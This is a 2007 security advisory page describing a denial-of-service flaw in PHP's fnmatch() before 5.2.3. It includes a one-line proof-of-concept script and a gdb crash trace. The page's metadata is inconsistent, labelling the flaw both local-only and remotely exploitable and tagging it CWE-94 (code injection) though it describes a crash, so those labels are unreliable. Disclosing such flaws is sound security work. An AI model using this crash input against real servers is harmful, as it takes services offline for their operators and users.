PHP < 5.2.3 fnmatch() denial of service

2007.09.11
Risk: Low
Local: Yes
Remote: No
CWE: CWE-94


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

Application: PHP < 5.2.3 Web Site: http://php.net Platform: unix Bug: denial of service fonction: fnmatch() special condition: default php-memory-limit ------------------------------------------------------- 1) Introduction 2) Bug 3) Proof of concept 4) Greets 5) Credits =========== 1) Introduction =========== "PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML." ====== 2) Bug ====== fnmatch() is vulnerable to a denial of service ===== 3)Proof of concept ===== Proof of concept example : <? fnmatch("*[1]e", str_repeat("A", 9638013)); ?> result: (gdb) run 2.php Program received signal SIGSEGV, Segmentation fault. [Switching to Thread -1215469888 (LWP 11079)] 0xb7970d99 in fnmatch () from /lib/tls/i686/cmov/libc.so.6 ======== 4)Greets ======== Ivanlef0u,Deimos,benji,soh,and everyones on worldnet: #futurezone & #nibbles ===== 5)Credits ===== Laurent gaffie contact : laurent.gaffie (at) gmail (dot) com [email concealed] stay tuned, site comming soon ....


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top